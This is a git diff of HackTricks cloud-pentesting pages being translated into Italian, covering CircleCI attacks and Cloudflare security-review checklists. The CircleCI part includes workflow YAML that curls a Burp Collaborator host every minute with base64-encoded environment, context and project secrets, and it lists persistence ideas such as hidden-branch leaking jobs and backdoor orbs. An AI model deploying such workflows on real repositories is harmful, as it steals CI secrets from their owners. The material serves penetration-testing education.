+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- run:
+name: "Exfil env"
+command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
- exfil-env-workflow:
- triggers:
- - schedule:
- cron: "* * * * *"
- filters:
- branches:
- only:
- - circleci-project-setup
- jobs:
- - exfil-env
+exfil-env-workflow:
+triggers:
+- schedule:
+cron: "* * * * *"
+filters:
+branches:
+only:
+- circleci-project-setup
+jobs:
+- exfil-env
```
+#### Esfiltrare i Segreti del Contesto
-#### Exfiltrate Context Secrets
-
-You need to **specify the context name** (this will also exfiltrate the project secrets):
-
+Devi **specificare il nome del contesto** (questo esfiltrerà anche i segreti del progetto):
```yaml
version: 2.1
jobs:
- exfil-env:
- docker:
- - image: cimg/base:stable
- steps:
- - checkout
- - run:
- name: "Exfil env"
- command: "env | base64"
+exfil-env:
+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- run:
+name: "Exfil env"
+command: "env | base64"
workflows:
- exfil-env-workflow:
- jobs:
- - exfil-env:
- context: Test-Context
+exfil-env-workflow:
+jobs:
+- exfil-env:
+context: Test-Context
```
-
-If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **modify a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
-
+Se **non hai accesso alla console web** ma hai **accesso al repo** e sai che CircleCI è utilizzato, puoi semplicemente **modificare un workflow** che viene **attivato ogni minuto** e che **esfiltra i segreti a un indirizzo esterno**:
```yaml
version: 2.1
jobs:
- exfil-env:
- docker:
- - image: cimg/base:stable
- steps:
- - checkout
- - run:
- name: "Exfil env"
- command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
+exfil-env:
+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- run:
+name: "Exfil env"
+command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
- exfil-env-workflow:
- triggers:
- - schedule:
- cron: "* * * * *"
- filters:
- branches:
- only:
- - circleci-project-setup
- jobs:
- - exfil-env:
- context: Test-Context
+exfil-env-workflow:
+triggers:
+- schedule:
+cron: "* * * * *"
+filters:
+branches:
+only:
+- circleci-project-setup
+jobs:
+- exfil-env:
+context: Test-Context
```
-
> [!WARNING]
-> Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**.
+> Creare un nuovo `.circleci/config.yml` in un repo **non è sufficiente per attivare una build di circleci**. Devi **abilitarlo come progetto nella console di circleci**.
#### Escape to Cloud
-**CircleCI** gives you the option to run **your builds in their machines or in your own**.\
-By default their machines are located in GCP, and you initially won't be able to fid anything relevant. However, if a victim is running the tasks in **their own machines (potentially, in a cloud env)**, you might find a **cloud metadata endpoint with interesting information on it**.
-
-Notice that in the previous examples it was launched everything inside a docker container, but you can also **ask to launch a VM machine** (which may have different cloud permissions):
+**CircleCI** ti offre l'opzione di eseguire **le tue build sulle loro macchine o sulle tue**.\
+Per impostazione predefinita, le loro macchine si trovano in GCP, e inizialmente non sarai in grado di trovare nulla di rilevante. Tuttavia, se una vittima sta eseguendo i compiti **sulle proprie macchine (potenzialmente, in un ambiente cloud)**, potresti trovare un **endpoint di metadata cloud con informazioni interessanti**.
+Nota che negli esempi precedenti è stato lanciato tutto all'interno di un container docker, ma puoi anche **richiedere di avviare una macchina VM** (che potrebbe avere permessi cloud diversi):
```yaml
jobs:
- exfil-env:
- #docker:
- # - image: cimg/base:stable
- machine:
- image: ubuntu-2004:current
+exfil-env:
+#docker:
+# - image: cimg/base:stable
+machine:
+image: ubuntu-2004:current
```
-
-Or even a docker container with access to a remote docker service:
-
+O anche un container docker con accesso a un servizio docker remoto:
```yaml
jobs:
- exfil-env:
- docker:
- - image: cimg/base:stable
- steps:
- - checkout
- - setup_remote_docker:
- version: 19.03.13
+exfil-env:
+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- setup_remote_docker:
+version: 19.03.13
```
+#### Persistenza
-#### Persistence
-
-- It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access.
- - _https://app.circleci.com/settings/user/tokens_
-- It's possible to **create projects tokens** to access the project with the permissions given to the token.
- - _https://app.circleci.com/settings/project/github/\/\/api_
-- It's possible to **add SSH keys** to the projects.
- - _https://app.circleci.com/settings/project/github/\/\/ssh_
-- It's possible to **create a cron job in hidden branch** in an unexpected project that is **leaking** all the **context env** vars everyday.
- - Or even create in a branch / modify a known job that will **leak** all context and **projects secrets** everyday.
-- If you are a github owner you can **allow unverified orbs** and configure one in a job as **backdoor**
-- You can find a **command injection vulnerability** in some task and **inject commands** via a **secret** modifying its value
+- È possibile **creare** **token utente in CircleCI** per accedere agli endpoint API con l'accesso degli utenti.
+- _https://app.circleci.com/settings/user/tokens_
+- È possibile **creare token di progetto** per accedere al progetto con i permessi dati al token.
+- _https://app.circleci.com/settings/project/github/\/\/api_
+- È possibile **aggiungere chiavi SSH** ai progetti.
+- _https://app.circleci.com/settings/project/github/\/\/ssh_
+- È possibile **creare un cron job in un ramo nascosto** in un progetto inaspettato che sta **leakando** tutte le variabili **context env** ogni giorno.
+- O addirittura creare in un ramo / modificare un lavoro noto che **leak** tutte le informazioni di contesto e i **segreti dei progetti** ogni giorno.
+- Se sei un proprietario di github puoi **consentire orbs non verificati** e configurarne uno in un lavoro come **backdoor**.
+- Puoi trovare una **vulnerabilità di command injection** in alcuni task e **iniettare comandi** tramite un **segreto** modificando il suo valore.
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md
index 77d2c2c50..5159ef4bb 100644
--- a/src/pentesting-ci-cd/cloudflare-security/README.md
+++ b/src/pentesting-ci-cd/cloudflare-security/README.md
@@ -2,76 +2,76 @@
{{#include ../../banners/hacktricks-training.md}}
-In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
+In un account Cloudflare ci sono alcune **impostazioni generali e servizi** che possono essere configurati. In questa pagina analizzeremo **le impostazioni di sicurezza relative a ciascuna sezione:**
-## Websites
+## Siti Web
-Review each with:
+Esamina ciascuno con:
{{#ref}}
cloudflare-domains.md
{{#endref}}
-### Domain Registration
+### Registrazione del Dominio
-- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain.
+- [ ] In **`Transfer Domains`** verifica che non sia possibile trasferire alcun dominio.
-Review each with:
+Esamina ciascuno con:
{{#ref}}
cloudflare-domains.md
{{#endref}}
-## Analytics
+## Analisi
-_I couldn't find anything to check for a config security review._
+_Non sono riuscito a trovare nulla da controllare per una revisione della sicurezza della configurazione._
-## Pages
+## Pagine
-On each Cloudflare's page:
+Su ciascuna pagina di Cloudflare:
-- [ ] Check for **sensitive information** in the **`Build log`**.
-- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages.
-- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/).
-- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any).
-- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code**
-- [ ] In the details of each page `//pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**.
-- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page.
+- [ ] Controlla se ci sono **informazioni sensibili** nel **`Build log`**.
+- [ ] Controlla se ci sono **informazioni sensibili** nel **repository Github** assegnato alle pagine.
+- [ ] Controlla per potenziali compromissioni del repository github tramite **workflow command injection** o compromissione di `pull_request_target`. Maggiori informazioni nella [**pagina di Sicurezza di Github**](../github-security/).
+- [ ] Controlla per **funzioni vulnerabili** nella directory `/fuctions` (se presenti), controlla i **redirect** nel file `_redirects` (se presenti) e **header mal configurati** nel file `_headers` (se presenti).
+- [ ] Controlla per **vulnerabilità** nella **pagina web** tramite **blackbox** o **whitebox** se puoi **accedere al codice**.
+- [ ] Nei dettagli di ciascuna pagina `//pages/view/blocklist/settings/functions`. Controlla se ci sono **informazioni sensibili** nelle **`Environment variables`**.
+- [ ] Nella pagina dei dettagli controlla anche il **build command** e la **root directory** per **potenziali iniezioni** che possano compromettere la pagina.
## **Workers**
-On each Cloudflare's worker check:
+Su ciascun worker di Cloudflare controlla:
-- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker?
-- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information**
-- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input)
- - Check for SSRFs returning the indicated page that you can control
- - Check XSSs executing JS inside a svg image
- - It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
+- [ ] I trigger: Cosa fa scattare il worker? Un **utente può inviare dati** che saranno **utilizzati** dal worker?
+- [ ] Nelle **`Settings`**, controlla se ci sono **`Variables`** contenenti **informazioni sensibili**.
+- [ ] Controlla il **codice del worker** e cerca **vulnerabilità** (soprattutto nei luoghi in cui l'utente può gestire l'input).
+- Controlla per SSRF che restituiscono la pagina indicata che puoi controllare.
+- Controlla XSS che eseguono JS all'interno di un'immagine svg.
+- È possibile che il worker interagisca con altri servizi interni. Ad esempio, un worker può interagire con un bucket R2 che memorizza informazioni ottenute dall'input. In tal caso, sarebbe necessario controllare quali capacità ha il worker sul bucket R2 e come potrebbe essere abusato dall'input dell'utente.
> [!WARNING]
-> Note that by default a **Worker is given a URL** such as `..workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
+> Nota che per impostazione predefinita a un **Worker viene assegnato un URL** come `..workers.dev`. L'utente può impostarlo su un **sottodominio**, ma puoi sempre accedervi con quell'**URL originale** se lo conosci.
## R2
-On each R2 bucket check:
+Su ciascun bucket R2 controlla:
-- [ ] Configure **CORS Policy**.
+- [ ] Configura la **CORS Policy**.
## Stream
TODO
-## Images
+## Immagini
TODO
-## Security Center
+## Centro Sicurezza
-- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise.
-- [ ] Just **check this information** for security misconfigurations and interesting info
+- [ ] Se possibile, esegui una **scansione di `Security Insights`** e una **scansione di `Infrastructure`**, poiché evidenzieranno informazioni interessanti dal punto di vista **della sicurezza**.
+- [ ] Controlla solo **queste informazioni** per configurazioni di sicurezza errate e informazioni interessanti.
## Turnstile
@@ -83,56 +83,52 @@ TODO
cloudflare-zero-trust-network.md
{{#endref}}
-## Bulk Redirects
+## Redirects di Massa
> [!NOTE]
-> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
+> A differenza dei [Redirects Dinamici](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), i [**Redirects di Massa**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) sono essenzialmente statici — non supportano alcuna operazione di sostituzione di stringhe o espressioni regolari. Tuttavia, puoi configurare i parametri di reindirizzamento URL che influenzano il loro comportamento di corrispondenza URL e il loro comportamento di runtime.
-- [ ] Check that the **expressions** and **requirements** for redirects **make sense**.
-- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info.
+- [ ] Controlla che le **espressioni** e i **requisiti** per i redirect **abbiano senso**.
+- [ ] Controlla anche per **endpoint nascosti sensibili** che contengono informazioni interessanti.
-## Notifications
+## Notifiche
-- [ ] Check the **notifications.** These notifications are recommended for security:
- - `Usage Based Billing`
- - `HTTP DDoS Attack Alert`
- - `Layer 3/4 DDoS Attack Alert`
- - `Advanced HTTP DDoS Attack Alert`
- - `Advanced Layer 3/4 DDoS Attack Alert`
- - `Flow-based Monitoring: Volumetric Attack`
- - `Route Leak Detection Alert`
- - `Access mTLS Certificate Expiration Alert`
- - `SSL for SaaS Custom Hostnames Alert`
- - `Universal SSL Alert`
- - `Script Monitor New Code Change Detection Alert`
- - `Script Monitor New Domain Alert`
- - `Script Monitor New Malicious Domain Alert`
- - `Script Monitor New Malicious Script Alert`
- - `Script Monitor New Malicious URL Alert`
- - `Script Monitor New Scripts Alert`
- - `Script Monitor New Script Exceeds Max URL Length Alert`
- - `Advanced Security Events Alert`
- - `Security Events Alert`
-- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS**
- - [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
+- [ ] Controlla le **notifiche.** Queste notifiche sono raccomandate per la sicurezza:
+- `Usage Based Billing`
+- `HTTP DDoS Attack Alert`
+- `Layer 3/4 DDoS Attack Alert`
+- `Advanced HTTP DDoS Attack Alert`
+- `Advanced Layer 3/4 DDoS Attack Alert`
+- `Flow-based Monitoring: Volumetric Attack`
+- `Route Leak Detection Alert`
+- `Access mTLS Certificate Expiration Alert`
+- `SSL for SaaS Custom Hostnames Alert`
+- `Universal SSL Alert`
+- `Script Monitor New Code Change Detection Alert`
+- `Script Monitor New Domain Alert`
+- `Script Monitor New Malicious Domain Alert`
+- `Script Monitor New Malicious Script Alert`
+- `Script Monitor New Malicious URL Alert`
+- `Script Monitor New Scripts Alert`
+- `Script Monitor New Script Exceeds Max URL Length Alert`
+- `Advanced Security Events Alert`
+- `Security Events Alert`
+- [ ] Controlla tutte le **destinazioni**, poiché potrebbero esserci **informazioni sensibili** (autenticazione http di base) negli URL dei webhook. Assicurati anche che gli URL dei webhook utilizzino **HTTPS**.
+- [ ] Come controllo extra, potresti provare a **fingere una notifica di cloudflare** a una terza parte, forse puoi in qualche modo **iniettare qualcosa di pericoloso**.
-## Manage Account
+## Gestisci Account
-- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**.
-- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**.
-- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle.
- - Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
-- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled.
+- [ ] È possibile vedere le **ultime 4 cifre della carta di credito**, il **tempo di scadenza** e l'**indirizzo di fatturazione** in **`Billing` -> `Payment info`**.
+- [ ] È possibile vedere il **tipo di piano** utilizzato nell'account in **`Billing` -> `Subscriptions`**.
+- [ ] In **`Members`** è possibile vedere tutti i membri dell'account e il loro **ruolo**. Nota che se il tipo di piano non è Enterprise, esistono solo 2 ruoli: Amministratore e Super Amministratore. Ma se il **piano utilizzato è Enterprise**, [**ulteriori ruoli**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) possono essere utilizzati per seguire il principio del minimo privilegio.
+- Pertanto, ogni volta che è possibile è **raccomandato** utilizzare il **piano Enterprise**.
+- [ ] In Members è possibile controllare quali **membri** hanno **2FA abilitato**. **Ogni** utente dovrebbe averlo abilitato.
> [!NOTE]
-> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)
+> Nota che fortunatamente il ruolo **`Administrator`** non dà permessi per gestire le iscrizioni (**non può elevare i privilegi o invitare** nuovi membri).
-## DDoS Investigation
+## Indagine DDoS
-[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
+[Controlla questa parte](cloudflare-domains.md#cloudflare-ddos-protection).
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
index 02989e685..f9203e806 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
@@ -2,29 +2,29 @@
{{#include ../../banners/hacktricks-training.md}}
-In each TLD configured in Cloudflare there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
+In ogni TLD configurato in Cloudflare ci sono alcune **impostazioni generali e servizi** che possono essere configurati. In questa pagina andremo ad **analizzare le impostazioni relative alla sicurezza di ciascuna sezione:**
### Overview
-- [ ] Get a feeling of **how much** are the services of the account **used**
-- [ ] Find also the **zone ID** and the **account ID**
+- [ ] Fai un'idea di **quanto** sono **utilizzati** i servizi dell'account
+- [ ] Trova anche il **zone ID** e il **account ID**
### Analytics
-- [ ] In **`Security`** check if there is any **Rate limiting**
+- [ ] In **`Security`** controlla se ci sono **Rate limiting**
### DNS
-- [ ] Check **interesting** (sensitive?) data in DNS **records**
-- [ ] Check for **subdomains** that could contain **sensitive info** just based on the **name** (like admin173865324.domin.com)
-- [ ] Check for web pages that **aren't** **proxied**
-- [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address
-- [ ] Check that **DNSSEC** is **enabled**
-- [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs**
- - This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings
-- [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
+- [ ] Controlla i dati **interessanti** (sensibili?) nei **record** DNS
+- [ ] Controlla i **sottodomini** che potrebbero contenere **info sensibili** solo in base al **nome** (come admin173865324.domin.com)
+- [ ] Controlla le pagine web che **non sono** **proxied**
+- [ ] Controlla le **pagine web proxificate** che possono essere **accessibili direttamente** tramite CNAME o indirizzo IP
+- [ ] Controlla che **DNSSEC** sia **abilitato**
+- [ ] Controlla che **CNAME Flattening** sia **utilizzato** in **tutti i CNAME**
+- Questo potrebbe essere utile per **nascondere le vulnerabilità di takeover dei sottodomini** e migliorare i tempi di caricamento
+- [ ] Controlla che i domini [**non siano vulnerabili allo spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
### **Email**
@@ -38,44 +38,44 @@ TODO
#### **Overview**
-- [ ] The **SSL/TLS encryption** should be **Full** or **Full (Strict)**. Any other will send **clear-text traffic** at some point.
-- [ ] The **SSL/TLS Recommender** should be enabled
+- [ ] La **crittografia SSL/TLS** dovrebbe essere **Full** o **Full (Strict)**. Qualsiasi altra opzione invierà **traffico in chiaro** a un certo punto.
+- [ ] Il **SSL/TLS Recommender** dovrebbe essere abilitato
#### Edge Certificates
-- [ ] **Always Use HTTPS** should be **enabled**
-- [ ] **HTTP Strict Transport Security (HSTS)** should be **enabled**
-- [ ] **Minimum TLS Version should be 1.2**
-- [ ] **TLS 1.3 should be enabled**
-- [ ] **Automatic HTTPS Rewrites** should be **enabled**
-- [ ] **Certificate Transparency Monitoring** should be **enabled**
+- [ ] **Always Use HTTPS** dovrebbe essere **abilitato**
+- [ ] **HTTP Strict Transport Security (HSTS)** dovrebbe essere **abilitato**
+- [ ] **La versione minima di TLS dovrebbe essere 1.2**
+- [ ] **TLS 1.3 dovrebbe essere abilitato**
+- [ ] **Automatic HTTPS Rewrites** dovrebbe essere **abilitato**
+- [ ] **Certificate Transparency Monitoring** dovrebbe essere **abilitato**
### **Security**
-- [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses.
- - The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used.
-- [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used
-- [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare
-- [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections**
-- [ ] In the **`Settings`** section:
- - [ ] Check that the **`Security Level`** is **medium** or greater
- - [ ] Check that the **`Challenge Passage`** is 1 hour at max
- - [ ] Check that the **`Browser Integrity Check`** is **enabled**
- - [ ] Check that the **`Privacy Pass Support`** is **enabled**
+- [ ] Nella sezione **`WAF`** è interessante controllare che le **regole di Firewall** e **rate limiting siano utilizzate** per prevenire abusi.
+- L'azione **`Bypass`** disabiliterà le funzionalità di sicurezza di Cloudflare per una richiesta. Non dovrebbe essere utilizzata.
+- [ ] Nella sezione **`Page Shield`** è consigliato controllare che sia **abilitato** se viene utilizzata una pagina
+- [ ] Nella sezione **`API Shield`** è consigliato controllare che sia **abilitato** se qualche API è esposta in Cloudflare
+- [ ] Nella sezione **`DDoS`** è consigliato abilitare le **protezioni DDoS**
+- [ ] Nella sezione **`Settings`**:
+- [ ] Controlla che il **`Security Level`** sia **medio** o superiore
+- [ ] Controlla che il **`Challenge Passage`** sia di massimo 1 ora
+- [ ] Controlla che il **`Browser Integrity Check`** sia **abilitato**
+- [ ] Controlla che il **`Privacy Pass Support`** sia **abilitato**
#### **CloudFlare DDoS Protection**
-- If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access.
-- In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie.
- - If the attack is from a **verified bot**, at least **add a rate limit** to bots.
- - If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path.
- - You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF.
- - Check if **Managed rules** could also help to prevent vulnerability exploitations.
- - In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.**
-- In DDoS you could **override some rules to make them more restrictive**.
-- **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**.
-- In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled
-- In Cloudflare Domains -> Security -> Events -> Check for **detected malicious Events**
+- Se puoi, abilita **Bot Fight Mode** o **Super Bot Fight Mode**. Se stai proteggendo qualche API accessibile programmaticamente (da una pagina front end JS ad esempio). Potresti non essere in grado di abilitare questo senza interrompere quell'accesso.
+- In **WAF**: Puoi creare **rate limits per percorso URL** o per **bot verificati** (regole di rate limiting), o per **bloccare l'accesso** in base a IP, Cookie, referrer...). Quindi potresti bloccare richieste che non provengono da una pagina web o non hanno un cookie.
+- Se l'attacco proviene da un **bot verificato**, almeno **aggiungi un rate limit** ai bot.
+- Se l'attacco è a un **percorso specifico**, come meccanismo di prevenzione, aggiungi un **rate limit** in questo percorso.
+- Puoi anche **whitelistare** indirizzi IP, intervalli IP, paesi o ASN dagli **Strumenti** in WAF.
+- Controlla se le **regole gestite** potrebbero anche aiutare a prevenire sfruttamenti di vulnerabilità.
+- Nella sezione **Strumenti** puoi **bloccare o dare una sfida a IP specifici** e **user agents.**
+- In DDoS potresti **sovrascrivere alcune regole per renderle più restrittive**.
+- **Impostazioni**: Imposta il **Security Level** su **Alto** e su **Under Attack** se sei sotto attacco e che il **Browser Integrity Check è abilitato**.
+- In Cloudflare Domains -> Analytics -> Security -> Controlla se il **rate limit** è abilitato
+- In Cloudflare Domains -> Security -> Events -> Controlla per **eventi malevoli rilevati**
### Access
@@ -85,15 +85,15 @@ cloudflare-zero-trust-network.md
### Speed
-_I couldn't find any option related to security_
+_Non sono riuscito a trovare alcuna opzione relativa alla sicurezza_
### Caching
-- [ ] In the **`Configuration`** section consider enabling the **CSAM Scanning Tool**
+- [ ] Nella sezione **`Configuration`** considera di abilitare lo **CSAM Scanning Tool**
### **Workers Routes**
-_You should have already checked_ [_cloudflare workers_](./#workers)
+_Dovresti aver già controllato_ [_cloudflare workers_](./#workers)
### Rules
@@ -101,9 +101,9 @@ TODO
### Network
-- [ ] If **`HTTP/2`** is **enabled**, **`HTTP/2 to Origin`** should be **enabled**
-- [ ] **`HTTP/3 (with QUIC)`** should be **enabled**
-- [ ] If the **privacy** of your **users** is important, make sure **`Onion Routing`** is **enabled**
+- [ ] Se **`HTTP/2`** è **abilitato**, **`HTTP/2 to Origin`** dovrebbe essere **abilitato**
+- [ ] **`HTTP/3 (with QUIC)`** dovrebbe essere **abilitato**
+- [ ] Se la **privacy** dei tuoi **utenti** è importante, assicurati che **`Onion Routing`** sia **abilitato**
### **Traffic**
@@ -111,7 +111,7 @@ TODO
### Custom Pages
-- [ ] It's optional to configure custom pages when an error related to security is triggered (like a block, rate limiting or I'm under attack mode)
+- [ ] È facoltativo configurare pagine personalizzate quando viene attivato un errore relativo alla sicurezza (come un blocco, rate limiting o sono in modalità sotto attacco)
### Apps
@@ -119,8 +119,8 @@ TODO
### Scrape Shield
-- [ ] Check **Email Address Obfuscation** is **enabled**
-- [ ] Check **Server-side Excludes** is **enabled**
+- [ ] Controlla che l'**Email Address Obfuscation** sia **abilitato**
+- [ ] Controlla che i **Server-side Excludes** siano **abilitati**
### **Zaraz**
@@ -131,7 +131,3 @@ TODO
TODO
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
index 491ae7bc1..302627410 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
@@ -2,43 +2,43 @@
{{#include ../../banners/hacktricks-training.md}}
-In a **Cloudflare Zero Trust Network** account there are some **settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
+In un **account Cloudflare Zero Trust Network** ci sono alcune **impostazioni e servizi** che possono essere configurati. In questa pagina analizzeremo le **impostazioni relative alla sicurezza di ciascuna sezione:**
### Analytics
-- [ ] Useful to **get to know the environment**
+- [ ] Utile per **conoscere l'ambiente**
### **Gateway**
-- [ ] In **`Policies`** it's possible to generate policies to **restrict** by **DNS**, **network** or **HTTP** request who can access applications.
- - If used, **policies** could be created to **restrict** the access to malicious sites.
- - This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies.
+- [ ] In **`Policies`** è possibile generare politiche per **restrigere** tramite **DNS**, **rete** o richiesta **HTTP** chi può accedere alle applicazioni.
+- Se utilizzate, le **politiche** potrebbero essere create per **restrigere** l'accesso a siti dannosi.
+- Questo è **solo rilevante se viene utilizzato un gateway**, altrimenti non c'è motivo di creare politiche difensive.
### Access
#### Applications
-On each application:
+Su ciascuna applicazione:
-- [ ] Check **who** can access to the application in the **Policies** and check that **only** the **users** that **need access** to the application can access.
- - To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also)
-- [ ] Check the **available identity providers** and make sure they **aren't too open**
+- [ ] Controlla **chi** può accedere all'applicazione nelle **Policies** e verifica che **solo** gli **utenti** che **hanno bisogno di accesso** all'applicazione possano accedere.
+- Per consentire l'accesso verranno utilizzati i **`Access Groups`** (e possono essere impostate anche **regole aggiuntive**)
+- [ ] Controlla i **provider di identità disponibili** e assicurati che **non siano troppo aperti**
- [ ] In **`Settings`**:
- - [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything)
- - [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP.
- - [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
+- [ ] Controlla che **CORS non sia abilitato** (se è abilitato, verifica che sia **sicuro** e non consenta tutto)
+- [ ] I cookie dovrebbero avere l'attributo **Strict Same-Site**, **HTTP Only** e il **binding cookie** dovrebbe essere **abilitato** se l'applicazione è HTTP.
+- [ ] Considera di abilitare anche il **Browser rendering** per una migliore **protezione. Maggiori informazioni su** [**remote browser isolation qui**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
#### **Access Groups**
-- [ ] Check that the access groups generated are **correctly restricted** to the users they should allow.
-- [ ] It's specially important to check that the **default access group isn't very open** (it's **not allowing too many people**) as by **default** anyone in that **group** is going to be able to **access applications**.
- - Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary.
+- [ ] Controlla che i gruppi di accesso generati siano **correttamente ristretti** agli utenti che dovrebbero consentire.
+- [ ] È particolarmente importante controllare che il **gruppo di accesso predefinito non sia molto aperto** (non **consente troppe persone**) poiché per **default** chiunque in quel **gruppo** potrà **accedere alle applicazioni**.
+- Nota che è possibile dare **accesso** a **TUTTI** e altre **politiche molto aperte** che non sono raccomandate a meno che non siano 100% necessarie.
#### Service Auth
-- [ ] Check that all service tokens **expires in 1 year or less**
+- [ ] Controlla che tutti i token di servizio **scadano in 1 anno o meno**
#### Tunnels
@@ -50,16 +50,12 @@ TODO
### Logs
-- [ ] You could search for **unexpected actions** from users
+- [ ] Potresti cercare **azioni inaspettate** da parte degli utenti
### Settings
-- [ ] Check the **plan type**
-- [ ] It's possible to see the **credits card owner name**, **last 4 digits**, **expiration** date and **address**
-- [ ] It's recommended to **add a User Seat Expiration** to remove users that doesn't really use this service
+- [ ] Controlla il **tipo di piano**
+- [ ] È possibile vedere il **nome del proprietario della carta di credito**, **ultimi 4 cifre**, **data di scadenza** e **indirizzo**
+- [ ] È consigliato **aggiungere una scadenza per il posto utente** per rimuovere gli utenti che non utilizzano realmente questo servizio
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
